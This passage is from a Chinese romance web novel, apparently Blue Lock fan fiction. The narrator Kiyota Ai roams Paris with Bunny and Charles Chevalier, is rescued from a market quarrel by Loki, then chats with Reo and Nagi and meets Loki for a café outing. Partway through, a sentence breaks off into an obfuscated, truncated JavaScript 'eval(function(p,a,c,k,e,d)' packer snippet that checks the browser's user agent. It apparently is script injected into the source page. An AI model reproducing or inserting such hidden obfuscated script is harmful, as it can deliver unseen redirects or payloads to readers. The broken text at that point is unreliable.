邦尼闻言,非但没有生气,反而低低地笑出了声,那笑声像是从胸腔里震出来的,带着一种莫名的愉悦感:“呵呵……‘小三’?真是有趣的定位。不过,按照先来后到的原则,似乎我才是那个‘正牌’的?虽然只是个临时的。” 他顿了顿,看向我,那双总是含笑的眼眸里闪烁着恶劣的光:“你说对吧?我‘亲爱的’、临时女朋友小姐?” 我感觉我的头皮都要炸开了!这两个人!居然就在人来人往的巴黎街头,面不改色心不跳地讨论起谁才是“正牌”谁才是“小三”这种离谱到极点的话题!他们到底有没有一点正常的羞耻心啊?! 周围已经有路人投来好奇和探究的目光了! “你们……你们都闭嘴!”我压低声音,从牙缝里挤出这句话,脸颊烫得快要燃烧起来,“不许再提那几个词!” 邦尼从善如流地做了个给嘴巴拉上拉链的动作,但眼神里的笑意丝毫未减。 夏尔则撇了撇嘴,像是觉得有点无趣,但很快又重新挂上笑容,非常自然地再次抓住了我的手腕:“好吧好吧~那不提了!姐姐,我们继续逛吧!前面好像有个超~大的玩具店!我们去看看!” 他说着,就要再次把我拖走。 “等等。”邦尼忽然开口,他迈了一步,看似随意地挡在了我们面前,脸上依旧是那副人畜无害的笑容,“既然这么巧遇到了,不如一起?人多也热闹些。而且……” 他微微俯身,凑近了些,用那种只有我们三人能听到的音量,慢悠悠地补充道:“……万一再遇到需要‘男朋友’出面解决的小麻烦,我这个‘正牌’的,总比某个自封的‘小三’要名正言顺一点,不是吗?” 夏尔的眼睛瞬间亮了起来,像是发现了什么新玩具:“哇!挑衅?我喜欢!那就一起啊!看看谁更能‘帮’到姐姐!”他非但没有拒绝,反而一副跃跃欲试、唯恐天下不乱的样子。 我眼前一黑,差点晕过去。 完了。 我的巴黎街头生存挑战,直接从地狱模式,升级到了噩梦级别。 于是,巴黎街头出现了极其诡异的一幕——一个生无可恋的亚洲女孩,左手被一个金白挑染头发、笑容灿烂得像太阳、精力无限的白人少年紧紧拽着,右边则跟着一个身材高大、脸上带疤、总是笑眯眯却让人脊背发凉的白人青年。两人一左一右,像是某种诡异的左右护法,时不时还会进行一些毫无营养、却暗藏机锋的对话。 “姐姐,你看那个气球!是不是很可爱?我买给你啊!” “呵呵,这种容易爆炸伤人的东西,还是远离比较好。亲爱的,你想玩的话,我可以给你买更安全的……比如,那边那个看起来很结实的哑铃?” “十字疤小哥你好无趣哦!姐姐才不喜欢哑铃呢!对吧姐姐?” “……” “姐姐你渴不渴?要不要尝尝这家的果汁?据说超~级鲜榨!” “鲜榨果汁容易滋生细菌,而且糖分过高。还是喝点纯净水吧,对身体好。你说呢,亲爱的?” “喂!你干嘛老是跟我唱反调!” “有吗?我只是在尽一个‘男朋友’应尽的关心职责而已。” 我被他们吵得一个头两个大,感觉自己像块夹心饼干,还是快要被挤碎的那种。他们俩似乎把我当成了某种较劲的舞台,每一句话都像是在争夺什么莫名其妙的主导权。 就在我们经过一个热闹的露天集市时,夏尔的目光被一个卖各种稀奇古怪小玩意的摊位吸引了过去。他立刻松开我,像只撒欢的狗狗一样挤进了人群。 我终于得以暂时喘息片刻,揉了揉被他攥得发红的手腕,感觉像是刚被解除了一道枷锁。 邦尼站在我身边,并没有跟着挤过去,只是目光淡淡地扫过那个摊位,然后落在我身上,嘴角勾着那抹不变的弧度:“怎么样?陪‘小孩子’玩,是不是比应付我要累得多?” 我没好气地瞪了他一眼:“半斤八两。”都是麻烦精! 他低笑了一声,不置可否。 没过一会儿,夏尔就举着两个东西兴冲冲地挤了回来。他手里拿着两个一模一样的、看起来非常廉价的塑料钥匙扣,钥匙扣上是两个咧嘴大笑的、造型滑稽的南瓜头。 “姐姐!你看!像不像我们俩?”他拿起其中一个在我眼前晃了晃,然后又指了指邦尼手里的那个,“这个像十字疤小哥!一脸傻笑!” 邦尼看着手里那个丑萌的南瓜头钥匙扣,脸上的笑容似乎僵硬了零点一秒。 我看着那个笑得傻乎乎的南瓜头,再看看邦尼那副永远笑眯眯的样子,竟然……觉得有点神似?这个念头让我差点笑出声,赶紧用力憋住。 “怎么样?一人一个!”夏尔不顾邦尼那微妙的表情,硬是把那个“像”他的钥匙扣塞进了我手里,然后把另一个塞进了邦尼的上衣口袋,还用力拍了拍,“这可是‘定情信物’!证明我们三个是一伙的了!” 谁要跟你们是一伙的啊!还有这算什么定情信物啊!太廉价了吧! 我看着手里那个塑料感十足的南瓜头,心情复杂得难以形容。 邦尼从口袋里掏出那个钥匙扣,捏在指尖,低头看了半晌,然后忽然抬起头,对着夏尔露出了一个极其“灿烂”的笑容:“谢谢。我很喜欢。看到它,就像看到了死亡微笑的具现化呢,真令人安心。” 夏尔:“……?”他显然没完全听懂,但直觉这不是什么好话,金色眼睛里的兴奋稍微褪去了一点,带上了一丝警惕。 我默默地把钥匙扣塞进牛仔裤口袋,决定不再参与这两个神经病之间的任何对话。 就在这时,邦尼的手机响了起来。他看了一眼来电显示,脸上的笑容稍微收敛了一些,对我们做了个“稍等”的手势,走到旁边接起了电话。 他通话的时间很短,似乎只是简单确认了什么。挂断电话后,他走回来,脸上的表情没什么变化,但语气里多了一丝不易察觉的……遗憾? “看来愉快的三人行要暂时告一段落了。”他耸耸肩,对着我说,“有点小麻烦需要我去处理一下。只能下次再继续‘约会’了,亲爱的临时女朋友。” 我心里顿时松了口气!太好了!这个危险分子终于要走了! 但没等我这口气完全松下来,他又补充了一句,目光意有所指地扫过夏尔:“至于某个缺乏监管的小朋友……建议你还是看紧一点比较好。毕竟,麻烦,有时候会自己找上门呢。” 说完,他极其自然地伸出手,揉了揉我的头发——动作快得我都没来得及躲开——然后对着我们挥了挥手,转身迈着长腿,很快消失在了街角的人流中。 我愣在原地,头上似乎还残留着他手掌的温度,心里却因为他最后那句意有所指的话和那个突如其来的摸头杀而泛起一丝莫名的不安。 缺乏监管的小朋友……麻烦自己找上门……他什么意思? 夏尔看着邦尼消失的方向,撇了撇嘴:“切,装神弄鬼。”但他金色眼眸深处,似乎也掠过了一丝若有所思的光芒。 邦尼的离开并没有让夏尔消停多久。他很快又重新振作起来,再次恢复了那副活力四射的样子,拽着我又开始了新的“探险”。 然而,不知道是不是邦尼的“预言”起了作用,还是单纯的倒霉,麻烦真的找上门了。 在一个相对僻静的街心公园旁边,夏尔看中了路边一个艺术家正在现场制作的手工皮革手环,非要凑过去看,还忍不住上手摸了一下半成品。那位留着大胡子、看起来就很有艺术家人脾气的摊主立刻不高兴地嘟囔了几句法语,语气颇为不善。 夏尔虽然听不懂,但看表情也知道对方不高兴了。他非但没有道歉,反而笑嘻嘻地用英语回了几句,大概意思是“摸一下又不会坏别那么小气嘛”,态度轻松得近乎挑衅。 这下彻底惹恼了那位摊主。他猛地站起来,身材颇为高大,对着夏尔气势汹汹地吼了起来,还伸手似乎想推搡他。 我吓了一跳,下意识地想上前把夏尔拉回来道歉。虽然这小子欠揍,但毕竟是我带出来的(虽然是被迫),总不能真让他挨打。 但夏尔的反应比我想象的快得多。他像条泥鳅一样轻巧地躲开了摊主的手,脸上依旧挂着笑,但眼神里已经没了之前的嬉闹,反而闪过一丝锐利和……兴奋? 他非但没有后退,反而用流利的法语语速极快地回敬了几句。我完全听不懂他说了什么,但看那摊主瞬间变得铁青、甚至带着点难以置信和羞恼的脸色,就知道绝对不是什么好话! 完了!这下矛盾升级了! 摊主气得吹胡子瞪眼,猛地一拍桌子,抄起旁边用来打磨皮革的木槌,看样子是真被激怒了! 周围零星几个路人见状也停了下来,指指点点,却没人上前劝阻。 我的心一下子提到了嗓子眼!这要是动起手来…… 就在这剑拔弩张的时刻,一个温和却带着不容置疑力量的声音突然插了进来: “请问,这里发生什么事了?” 我循声望去,只见洛基不知何时出现在了人群外围。他穿着一身简单的PXG训练服,额头上还带着细微的汗珠,似乎是刚结束训练路过。他那张轮廓分明的脸上没什么表情,但那双金色的眼眸冷静地扫过现场,瞬间就掌握了情况。 他迈步走过来,先是看了一眼脸色铁青的摊主和对方手里的木槌,然后目光转向依旧笑嘻嘻、但眼神警惕的夏尔,眉头几不可查地皱了一下。 “夏尔。”他开口,声音沉稳,带着一丝不赞同。 夏尔看到洛基,脸上的挑衅收敛了些,撇了撇嘴,小声嘀咕了一句:“是他先凶我的……” 洛基没有理会他的辩解,转而面向那位摊主,用流利而礼貌的法语开始沟通。他的语气不卑不亢,先是道歉,然后似乎在解释着什么,偶尔还会指一下我和夏尔。 那位摊主在洛基冷静的沟通下,脸上的怒气渐渐平息了一些,但依旧没好气地瞪了夏尔几眼,最后嘟囔着挥了挥手,似乎是表示算了。 洛基微微颔首,从口袋里掏出钱包,抽出几张纸币放在摊位上,然后对着摊主说了句什么,大概是赔偿之类的。 处理完这一切,他才转过身,看向我们,目光最后落在我身上:“没事了。走吧。” 他的出现和处理方式,像是一盆冷水,瞬间浇熄了这场即将爆发的冲突。我悬着的心终于落回了原地,长长地松了口气。 “洛基先生,谢谢你……”我连忙道谢,心里充满了感激和后怕。 洛基摇了摇头:“没什么。”他的目光扫过我和夏尔,尤其是在夏尔身上停留了片刻,“你们怎么在这里?清田小姐,你……”他顿了顿,似乎想问什么,但最终还是没问出口,只是说,“这里鱼龙混杂,最好不要单独待太久。” 他的语气很平静,但我能感觉到他那份未说出口的关心和些许的不赞同。想到之前香水的误会,我的脸颊又有点发热,尴尬地低下头:“嗯……我知道了,谢谢您。” 夏尔在一旁看着我们互动,那双金色的眼睛滴溜溜地转着,忽然又露出了那种狡黠的笑容,他凑近洛基,用胳膊肘捅了捅他:“哇哦!英雄救美诶洛基!厉害哦!不过你来晚了,‘正牌男朋友’刚走没多久哦!” 洛基的身体几不可查地僵了一下,他看向夏尔,眼神里带着明显的警告:“夏尔·希瓦利埃。” “好好好,我不说了~”夏尔举起双手做投降状,但脸上的笑容越发欠揍,“不过洛基,你刚才付钱的样子真帅!要不你也加入我们吧?我们可以组个‘姐姐护卫队’!十字疤小哥是‘正牌’,你是‘黑皮骑士’,我是‘可爱小三’,怎么样?阵容强大吧!” 我:“……”我想死。 洛基的眉头彻底拧了起来,他显然听不懂夏尔那套“正牌”“小三”的鬼话,但“黑皮骑士”这个称呼显然也让他很不适应。他深吸一口气,似乎懒得再跟夏尔废话,直接看向我:“清田小姐,需要我送你回酒店吗?” “啊?不、不用了……”我赶紧摆手,下意识地看了一眼夏尔。要是让洛基送我回去,天知道夏尔这家伙会不会又搞出什么幺蛾子。 夏尔立刻接话:“对啊对啊!护送姐姐回家是我的职责!对吧姐姐?”他说着,又试图来抓我的手腕。 我下意识地后退了一步,避开了他的手。 夏尔的手抓了个空,脸上的笑容瞬间凝固了一下。虽然只有短短一瞬,很快就恢复了原样,但还是被我捕捉到了。他那双总是闪烁着狡黠光芒的金色眼眸里,极快地掠过了一丝……类似于错愕和不解的情绪? 他看着我,眨了眨眼,语气似乎没那么跳跃了:“姐姐?” 我被他看得有点不自在,也意识到自己刚才的反应可能有点过激了,只好硬着头皮解释:“……我自己可以回去。今天……谢谢你的热巧克力。也谢谢你,洛基先生。” 说完,我不再看他们俩,几乎是落荒而逃般,转身朝着酒店的方向快步走去。 身后似乎安静了几秒,然后传来夏尔提高音量的、依旧带着笑意的声音:“姐姐!明天见哦!记得想我!” 我没有回头,只是加快了脚步。 走在回酒店的路上,夕阳将我的影子拉得很长。口袋里那个廉价的南瓜头钥匙扣随着我的走动,一下下地硌着我的大腿。 我把它掏出来,放在掌心。塑料南瓜咧着大嘴,笑得没心没肺。 看着这个丑萌的钥匙扣,回想起今天这一连串光怪陆离、鸡飞狗跳的经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛基就站在不远处的路灯下,柔和的光线勾勒出他挺拔的身形和利落的寸头轮廓。他依旧穿着那身PXG的训练服,外面随意套了件薄外套,双手插在口袋里,似乎只是散步经过。古铜色的皮肤在光线下显得更加深邃,那双金色的眼眸正安静地看着我,里面没有惊讶,也没有探究,只是一片平静。 他怎么在这里?!我瞬间僵在原地,抱着足球的手都收紧了些。刚刚平复下去的心跳又开始不争气地加速。是巧合?还是…… “清田小姐。”他先开口打了招呼,声音和傍晚时一样沉稳,听不出什么情绪,“晚上好。” “晚、晚上好,洛基先生。”我有些局促地回应,下意识地把怀里的足球抱得更紧,像是抱着一个盾牌,“您……刚训练完吗?” “嗯,随便走走。”他微微颔首,目光落在我怀中的足球上,“看来你找到不错的解压方式。” 他果然看出来我心情不好了吗?我的脸颊有点发烫,幸好夜色应该能遮掩一些。我点了点头,不知道该接什么话。气氛一时有些沉默。 他沉默了几秒,忽然礼貌地询问道:“这里的墙不太适合练习。我知道附近有个不错的地方,视野也好。如果你不介意的话……要不要一起?” 我愣住了。他这是在……邀请我?在经过白天那么尴尬的事情之后?而且他还帮我解了围……我好像没有理由拒绝,也不好意思拒绝。 “……好啊。”我听见自己干巴巴地回答,“麻烦您了。” “不麻烦。跟我来。”他转身,很自然地走在前面带路。 我抱着球,跟在他身后半步的距离。夜晚的巴黎有些凉意,风吹过树叶发出沙沙的声响。我们一路沉默地走着,只有脚步声清晰可闻。这种沉默并不算难熬,反而有种奇怪的安宁感。 走了大概七八分钟,他拐进了一条更僻静的小巷。巷子尽头是一面看起来有些年头的、爬满了藤蔓的高墙,墙后面似乎是一个废弃的小公园或者什么场所,比街面要高出不少。 “就是这里。”洛基停下脚步,指了指那面墙。 这里?我疑惑地看着这面至少有两米多高的墙,难道要翻过去?这…… 还没等我想明白,洛基已经动了。他后退几步,助跑,蹬踏,动作流畅得不可思议,像一只敏捷的黑豹,双手精准地抓住墙头凸起的砖块,核心发力,轻松利落地就翻了上去,整个过程中甚至没发出什么大的声响。 我站在下面,看得目瞪口呆。这身手……也太厉害了吧?!他平时训练还练这个? 他蹲在墙头上,向我伸出手,表情依旧很平静:“手给我。我拉你上来。” 我的目光下意识地落在他伸出的手上,骨节分明,带着常年训练留下的痕迹,看起来沉稳有力。然后,视线不受控制地往下滑了一点——因为他俯身的动作,训练服的下摆微微掀起,露出一截紧实漂亮的腹肌线条,块垒分明,在月光下若隐若现,充满了力量感。 轰——!我的脸颊瞬间爆红,赶紧触电般地移开视线,心脏砰砰狂跳,脑子里一片空白。非、非礼勿视! “清田小姐?”他似乎没注意到我的失态,又叫了我一声,手依旧稳稳地伸着。 “啊?哦!来了!”我慌忙应道,做贼心虚般不敢再看他的眼睛,手忙脚乱地把足球先扔过了墙,然后深吸一口气,把手递给了他。 他的手掌干燥而温暖,带着薄茧,轻易地就将我的手包裹住,力道很大,却不会弄疼我。另一只手则稳稳地扶住了我的胳膊。 “脚踩在那里,对,用力。”他简短地指导着。 借着他的力量,我手蹬脚刨,总算有惊无险地爬上了墙头。但墙头很窄,我又是第一次干这种事,上去之后根本站不稳,身体晃了一下,差点直接栽下去。 “小心。”洛基的声音在耳边响起,他扶着我胳膊的手立刻收紧,另一只手也及时地环过来,虚扶在我的后腰上,帮我稳住了重心。 我们俩此刻的距离极近,近到我几乎能感受到他身上的热度,还有运动后淡淡的汗水气息,并不难闻,反而混合着一种清爽的、像是阳光晒过青草的味道。我的后背几乎要贴到他的胸膛,隔着一层薄薄的衣料,甚至能隐约感受到他心脏平稳有力的跳动。 我的脸颊烫得快要烧起来,全身的血液似乎都涌到了头顶,手脚都不知道该往哪里放。这、这算不算……牵手?还有……拥抱?我的大脑彻底宕机,只剩下一些乱七八糟的念头在疯狂刷屏。 幸好,洛基很快就松开了手,只是依旧站在我身边,保持着一种随时可以拉住我的守护姿态。“站稳了。看那边。”他的语气听不出任何异样,仿佛刚才那个短暂的、近乎拥抱的接触再自然不过。 我顺着他的目光望去,瞬间被眼前的景色吸引了过去。 从这里望出去,可以看到远处埃菲尔铁塔璀璨的灯光,像一颗巨大的、闪烁的星星。近处是层层叠叠的巴黎屋顶,在月光和霓虹的勾勒下呈现出一种温柔的轮廓线。晚风拂面,带来远处隐约的音乐声和城市的低语。整个巴黎仿佛一幅铺陈开来的、流动的画卷,安静又生动。 我从未从这个角度看过巴黎,一种豁然开朗的感觉瞬间驱散了心底最后那点郁结。 “好漂亮……”我忍不住低声惊叹,下意识地深吸了一口微凉的空气,感觉胸腔里那股憋闷感彻底消失了。 “心情好些了吗?”洛基的声音在一旁响起,依旧是那种平稳的调子。 我一惊,猛地扭头看向他。他怎么会知道?难道……他会读心术吗?还是我的情绪就这么明显写在脸上? 月光下,他侧脸的线条显得格外清晰硬朗,金色的眼眸映着远处的灯火,像落入了星辰。他并没有看我,只是望着前方的景色,嘴角似乎带着一丝极淡的、不易察觉的弧度。 “嗯……好多了。”我老实地点头,心里充满了惊奇和一种莫名的暖意,“好像……魔法一样。” 听到这个词,他几不可查地轻笑了一声,转过头来看向我。那双总是显得冷静甚至有些疏离的金色眼眸里,此刻似乎也染上了一点温和的笑意。 “不是魔法。”他摇了摇头,语气里带着一种球员特有的务实感,“只是换了个视角。有时候被烦恼困住,跳出来看看,会发现事情其实没那么糟。” 他顿了顿,补充道:“踢球也是这样。在场上被盯死的时候,盲目硬闯只会更糟。退一步,换个角度观察,往往能找到更好的路线。” 他的比喻简单直接,却奇异地说服了我。是啊,无论是夏尔还是邦尼,那些让人头疼的麻烦,或许换个角度看,也没那么可怕?至少……此刻的风景是值得的。 “谢谢您,洛基先生。”我由衷地说道,这次的笑容轻松了许多,“带我来这里。” “不客气。”他微微颔首,重新将目光投向远方。 我们就这样并肩站在墙头,安静地看着脚下的巴黎夜景。晚风吹起我的发丝和他的衣角,空气中只剩下宁静和远处模糊的城市声响。之前所有的尴尬、烦躁和不安,似乎都被这温柔的夜色和眼前辽阔的景色涤荡干净了。 57. 约会2nd 【我:洛基先生,昨天真的非常感谢您。不仅帮我解围,还带我去了那么棒的地方……我想正式向您道谢,不知道您今天是否有空?我想请您……呃,算是赔罪和感谢?】我删删改改,最终还是把这条带着试探意味的消息发了出去。指尖因为紧张微微发凉,既希望他答应,又怕再次造成什么奇怪的误会。 手机很快震动了一下。 【洛基:不必客气。今天下午基础训练结束后没有额外安排。如果你方便的话?】 看到这条回复,我松了口气,心头泛起一丝暖意。他的态度一如既往的温和得体,没有提及昨天的尴尬,也没有任何让人不适的探究。 【我:方便的!那……我下午去青训基地等您?】 【洛基:好。训练大约四点结束。】 约定好了时间,我心里一块石头落地,甚至有了点小小的期待。和洛基相处,只要避开那些地雷,其实是一件很舒服的事情。他冷静、可靠,像一座沉稳的山,能轻易抚平周遭的躁动。 出门时,路过一家橱窗布置得格外精美的甜品店,各色马卡龙和闪电泡罗在暖光灯下散发着诱人的光泽。我忍不住停下脚步,拿出手机拍了几张照片,顺手发给了玲王和凪。 【我:[图片][图片] 看起来超好吃!巴黎的甜点店真是罪恶!】 【玲王:!!!爱!你又跑去吃独食!】 【凪:……好想吃……但是好远……麻烦……】 【玲王:训练结束快饿死了!】 【凪:玲王,你藏了智辉舅舅供给的零食吧,只是没被发现。】 【玲王:凪!不要说出来啊!你不也偷偷藏了柠檬茶?】 【我:……你们俩半斤八两好吧!】 【玲王:对了,今天早上斩铁那家伙起来迷迷糊糊把训练服穿反了,还一本正经地跑来问我和凪他是不是气血逆流快要死了,脸色怎么那么差……笑死我了!】 【凪:嗯……笨蛋眼镜。】 【我:哈哈哈哈!斩铁君还好吗?】 【玲王:还好,就是被凪吐槽说‘笨蛋是不会那么容易死的’,然后一个人蹲在角落消沉了半小时,哈哈哈!】 【凪:Z队最近……很热闹。蜂乐又拉了两个人过来。】 【玲王:哦对!一个红头发的,叫千切豹马,速度超级快,外号‘赤豹’?另一个橙头发,叫国神炼介,看起来超级正气,蜂乐非要叫他‘英雄君’。】 【凪:千切好像还有一个外号……但他不肯说。每次提到都会炸毛。】 【玲王:嗯,感觉有故事!不过那个千切确实厉害啊,带球突进的样子简直像一道红色的闪电!】 【我:听起来大家都很厉害啊……】 【玲王:爱……所以你什么时候回来啊?日本也有好多好吃的甜点啊!比法国的差不了多少!】 【凪:嗯……玲王昨天对着手机上的照片发了半天呆,肯定是想你了。】 【玲王:凪!才没有!】 【我:……我也很想你们。但我爸他……唉,一言难尽。等我找到机会一定尽快回去!】 【玲王:好吧……那你一定要小心!离那些奇怪的法国男人远点!尤其是那个夏尔·希瓦利埃!】 【凪:还有咖啡店怪男人。】 【玲王:对!那个家伙也不是什么好人!总之统统远离!】 【我:知道啦知道啦!你们快去训练吧!我也要出发了!】 【玲王:嗯!保持联系!】 【凪:哦……】 结束和他们的聊天,看着屏幕上一连串的叮嘱和日常分享,心情变得柔软又有些酸涩。蓝色监狱里的大家,虽然训练艰苦,但似乎也充满了这样那样的趣事。而被“流放”在巴黎的我,也只能通过这样的方式参与他们的生活了。 收拾好心情,我朝着PXG青训基地走去。阳光正好,微风不燥,比起昨天被夏尔拖着“冲锋陷阵”,此刻的脚步显得从容了许多。 到达基地门口时,下午的训练似乎还没完全结束,场内还能听到教练的哨声和球员跑动的脚步声。我找了个荫凉的长椅坐下,安静地等待着。 然而,这份安静并没持续多久。 “姐姐——!” 一个清亮又极具穿透力的声音由远及近,伴随着急促的脚步声。我头皮一麻,不用回头都知道是谁。 夏尔·希瓦利埃像颗小炮弹一样冲到我面前,额头上带着亮晶晶的汗珠,金白挑染的发丝被风吹得有些乱,脸上洋溢着毫不掩饰的惊喜笑容:“你是来找我的吗?哇!姐姐你终于开窍了!知道主动来找我玩了!今天想去哪里?我知道有家超棒的……” “夏尔。” 一个沉稳的声音打断了他兴高采烈的计划。洛基不知何时也走了过来,他已经冲过澡,换上了一身干净的休闲服,身上带着清爽的气息。他看了一眼夏尔,语气平淡却自带威严:“训练后的拉伸做完了?” 夏尔的笑容瞬间垮了一下,撇撇嘴:“哎呀,就差一点点嘛……等会儿回去补上就行!对吧姐姐?”他说着就要来拉我的胳膊,试图把我拖入他的阵营。 我下意识地往后缩了一下。 洛基的目光在我们之间扫过,然后平静地开口,打破了夏尔的幻想:“清田小姐是来找我的。我们之前约好了。” “诶——?!!” 夏尔脸上的表情瞬间凝固,眼睛猛地睁大,写满了难以置信。他看看我,又看看洛基,手指在我们之间来回指了半天,像是发现了什么惊天大秘密,声音都拔高了一个八度: “找、找你的?!约、约好了?!等等!所以姐姐你…今天特意来找他……难道……难道我不仅排在那十字疤后面,连洛基也排在我前面了吗?!” 他捂住胸口,做出一副极度受伤、仿佛遭遇了背叛的表情,但那双金色的眼睛里却闪烁着更加兴奋和唯恐天下不乱的光芒: “怎么会这样!姐姐!你怎么还有‘小四’啊?!而且居然是洛基?!这不公平!明明是我先……” “砰!” 一声闷响打断了他的控诉。 洛基面无表情地收回了敲在夏尔脑袋上的拳头,额角似乎有青筋跳了一下。他显然被“小四”这个称呼和夏尔离谱的联想彻底惹恼了,虽然语气依旧竭力保持平稳,但咬字明显重了几分:“夏、尔。你的想象力如果用在战术跑位上,教练会很高兴的。” “痛!”夏尔抱着脑袋蹲了下去,委屈巴巴地抬头看着我们,嘴里还在小声嘟囔,“可是……可是就是嘛……明明是我先认识的姐姐……凭什么洛基你后来居上……还偷偷约会……” 我站在一旁,脸颊滚烫,尴尬得脚趾抠地。老天奶,这都什么跟什么啊!夏尔·希瓦利埃的大脑构造绝对和正常人不一样! 洛基深吸了一口气,似乎决定彻底无视这个麻烦制造机。他转向我,语气重新变得缓和:“我们走吧,清田小姐。” “啊?哦……好、好的!”我如蒙大赦,赶紧点头。 看也没再看蹲在地上演默剧的夏尔一眼,我几乎是迫不及待地跟着洛基离开了基地门口。走出好远,似乎还能听到身后传来夏尔那故意拖长了调子、幽怨无比的喊声: “姐姐——!你要记得还有我这个‘小三’在等你啊——!我会一直等下去的——!” 我的脚步一个踉跄,差点摔倒。 洛基的脚步似乎也顿了一下。 我们两人极其默契地,同时加快了脚步,仿佛身后有什么可怕的东西在追赶。 直到彻底听不见夏尔的声音,周围只剩下巴黎街头寻常的喧嚣,我才偷偷松了口气,感觉脸颊的热度稍稍褪去一些。 偷偷瞟了一眼身旁的洛基,他目视前方,侧脸线条依旧冷硬,但耳根处似乎……也透着一点点不易察觉的微红? 看来,对付夏尔·希瓦利埃这种生物,哪怕是冷静如洛基,也会感到头疼不已啊。 不过,总算……是摆脱他了。 接下来的时间,希望能安静一点吧。我默默地想着,带着劫后余生般的庆幸,和一丝对下午“约会”的期待。 *** 约会……这算是约会吗? 这个念头刚冒出来,就被我强行按了回去。不不不,清田爱,你在胡思乱想什么?这只是表达感谢的……嗯,谢礼,一次正常的社交活动。我深吸一口气,努力把注意力集中在身边并肩而行的洛基身上。 “所以,”洛基开口,声音平稳,听不出什么情绪,“下午有什么计划吗?或者,你已经有想去的地方了?”他侧头看我一眼,眼神依旧是那种专注而直接的打量,但并不让人感到不适。 “啊,是的。”我赶紧点头,从口袋里掏出手机,点开备忘录,“我稍微……做了一点功课。”其实何止一点,昨天晚上回到住处后,我几乎抱着手机查了半宿——“如何向帮助过自己的年长男性表达感谢(非商务非暧昧性质)”、“巴黎适合聊天不尴尬的场所推荐”、“法国社交礼仪禁忌(避免再次送香水惨剧)”……搜索引擎大概会觉得我是个社交能力负分的怪人。 “我查到附近有一家评价不错的咖啡馆,环境很安静……或者,如果你不喜欢咖啡,旁边也有一家传统的茶沙龙。”我小心翼翼地提议,一边观察着他的表情,“主要是想找个能好好说话的地方,正式向你道谢。” 洛基的嘴角似乎微不可察地向上弯了一下,但很快又恢复了平直的线条。“听起来不错。你决定就好。” 我松了口气,刚想接着说路线,他却话锋一转,语气听起来像是随口一问,但那目光却带着几分探究:“刚才夏尔说的……‘小三’?那是怎么回事?”他顿了顿,补充道,“当然,如果涉及隐私,你可以不回答。我只是有点好奇那孩子又编了什么离谱的故事。” 果然还是问到了这个。我顿时感到一阵头痛,夏尔·希瓦利埃简直就是个行走的麻烦制造机,留下的烂摊子总需要别人来收拾。 “唉,这个啊……”我无奈地叹了口气,揉了揉眉心,“说来话长,而且非常……荒谬。”我斟酌着语句,尽量简洁地解释,“简单来说,就是之前为了应付一些……呃,纠缠,发生了一些事情。然后被夏尔撞见了,他不知道怎么得出的结论,非说自己是插足的‘小三’,还乐在其中……” 我省略了邦尼是凯撒派来的细节,也略过了凯撒本身的存在。这些错综复杂的关系解释起来太耗费精力,而且似乎也没有必要对洛基全盘托出。毕竟,我和他的交集,更多还是建立在足球和父亲的关系之上。 洛基听完,脸上露出一副“果然如此”的表情,了然地摇了摇头:“确实是夏尔会干出来的事。他那颗脑袋里整天不知道在想些什么,训练时也总是变着法子偷懒或者搞怪,教练都拿他没办法。他说的话,你听听就好,不必当真。” “我知道的。”我笑了笑,只是这笑容可能有些勉强。夏尔的胡闹固然可以一笑置之,但背后牵扯出的凯撒、邦尼,以及远在蓝色监狱的玲王和凪所带来的那种微妙的压力和混乱,却并非那么容易消散。 我甩甩头,试图把那些纷乱的思绪抛开。今天下午是来表达感谢的,不应该让那些事情影响心情。 “那我们走吧?”我重新挂上笑容,指了指前方的路口,“那家咖啡馆应该就在下一个转角附近。” 洛基点了点头,很自然地配合着我的步调。“好。” 下午的阳光透过巴黎街道两旁繁茂的梧桐树叶,在地上投下斑驳的光影。我们并肩走着,偶尔交谈几句,内容大多是围绕着巴黎的街景、天气,或者他简单介绍一下青训基地附近的情况。他的态度始终保持着恰到好处的绅士和礼貌,既不会显得过分热络让人不安,也不会过于冷淡让人觉得被怠慢。 找到的那家咖啡馆确实如评论所说,环境幽静,人不多。我们选了一个靠窗的位置坐下,点了饮料——我要了一杯拿铁,洛基则点了一杯黑咖啡。 等待饮料的时候,气氛有片刻的安静。我正想着该如何再次正式开启道谢的话题,洛基却先开口了。他并没有继续之前关于夏尔的话题,而是问起了我的训练情况。 “最近射门练习感觉怎么样?找到‘感觉’了吗?”他握着水杯,手指修长有力,目光平静地落在我身上。 我稍微放松了一些,谈到足球,尤其是关于技术提升的话题,似乎比谈论那些混乱的人际关系要轻松得多。 “嗯……好像摸到一点点门道了。”我回想了一下最近几次练习的情形,“……偶尔也能得到一些不错的建议。现在大概十次里能有六七次踢出比较满意的球了。” “十之六七?”洛基挑了挑眉,似乎对这个比例有些意外,“对于初学者来说,这个成功率相当不错。看来你的天赋确实不止体现在球感上。”他的语气是纯粹的客观评价,带着一种专业人士的审度,反而让我觉得更加真实。 “真的吗?”我有些惊喜,能得到他这样的认可,让我这些天的辛苦练习仿佛都有了回报,“不过不稳定的时候还是很多,而且发力方式好像还是有点问题,有时候踢完球大腿会有点酸……” 我们的话题就这样自然地转入了足球技术细节。洛基分享了一些他自己练习射门时的经验和技巧,包括如何调整重心、如何利用摆腿的幅度来控制力量和角度,甚至细致到了触球瞬间脚踝应该保持什么样的姿态。他讲解得非常清晰,偶尔还会用手比划一下。 我听得十分专注,不知不觉就喝完了大半杯咖啡。和他聊天真的很舒服,他能精准地理解我的问题所在,并且给出切实可行的建议,不会像我父亲那样咋咋呼呼,也不会像凯撒那样毒舌讽刺……等等,我怎么又想起凯撒了? 我赶紧晃了晃脑袋,把那个金发蓝挑染的身影甩出去。 饮料见底后,我们离开了咖啡馆。时间还早,阳光依旧明媚。沿着塞纳河畔漫步成了顺理成章的选择。微风拂过河面,带来湿润凉爽的气息,两岸的建筑沐浴在金色的光辉中,景色美得如同明信片。 我们聊天的范围也更广了一些。他会指著河对岸的建筑,告诉我一些它们的历史或趣闻。我也会分享一些在东京和朋友们发生的趣事。当然,我小心翼翼地避开了所有可能引发“醋意”或需要大量背景解释的细节。 